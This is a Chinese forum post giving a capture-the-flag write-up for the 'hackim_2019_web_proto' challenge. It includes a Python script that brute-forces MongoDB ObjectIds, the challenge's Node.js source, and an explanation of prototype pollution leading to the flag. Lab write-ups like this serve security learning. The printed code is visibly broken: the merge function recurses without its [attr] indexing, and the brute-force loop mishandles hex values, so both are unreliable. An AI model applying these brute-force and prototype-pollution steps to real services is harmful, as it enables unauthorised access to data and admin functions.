roger 发表于 2020-4-21 18:38:13

hackim_2019_web_proto

访问提示:

访问/getPost后提示:

访问/getPOST?id=5c51b9c9144f813f31a4c0e2提示:



输入单引号有报错信息:


Hint有提示:

* mango can be eaten in 60 seconds
* Mongo Mongo Mongo !!! and this is not a sql Injection所以这里注入没用。
因为这是Node.js的站,使用之前的办法引出报错信息:/getPost?id[]=1

提示了后端数据库使用了Mongodb,Mongodb中有一个叫做ObjectId的概念。
ObjectId是一个12字节的BSON数据类型,结构为:

[*]前4个字节是自unix时代以来的秒数。
[*]接下来的3个字节是机器标识符。
[*]接下来的2个字节是进程ID。
[*]最后3个字节是计数器值。随机值。
而给我们的id正好是12字节的。根据第一个提示时间差小于60s来尝试爆破:

import requests

url = 'http://localhost:4545/getPOST?id=%s144f813f31%s'
time = 0x5c51b9c9
counter = 0xa4c0e2

for i in range(100):
    counter = hex(counter - 1)
    for i in range(1000000):
      time = hex(time - 1)
      nurl = url % (time, counter)
      res = requests.get(nurl)
      if 'Not found' not in res.text:
            print(res.text, nurl)
            time = int(time, 16)
            counter = int(counter, 16)
            break
      time = int(time, 16)在id=5c51b911144f813f31a4c0df得到关键信息:

访问/4f34685f64ec9b82ea014bda3274b0df/得到源码:
'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a,b){
for (var attr in b){   
   if(isObject(a) && isObject(b)){
      merge(a,b);
   }
   else{
    a = b;
}
}
return a
}

function clone(a){
return merge({},a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')))

app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if(copybody.name){
      res.cookie('name', copybody.name).json({"done":"cookie set"});
}
else{
    res.json({"error":"cookie not set"})
}
});

app.get('/getFlag', (req, res) => {


   var аdmin=JSON.parse(JSON.stringify(req.cookies))
   
    if(admin.аdmin==1){
      res.send("hackim19{}");
    }
    else{
      res.send("You are not authorized");
    }


});


app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);要满足admin.аdmin等于1。因为__proto__是一个Object,会递归进入merge(),由于__proto__有一对key-value,所以会判断__proto__["admin"]是否是Object,不是就进入else,对原型__proto__["admin"]赋值为1,这就完成了原型链污染的操作。
最后访问/getFlag就能拿到flag:
hackim19{Prototype_for_the_win}function merge(a,b){
for (var attr in b){   
   if(isObject(a) && isObject(b)){
      merge(a,b);
   }
   else{
    a = b;
}
}
return a
}

monkeyman 发表于 2020-4-21 23:08:04

啥也不说了,加入收藏!
页: [1]
查看完整版本: hackim_2019_web_proto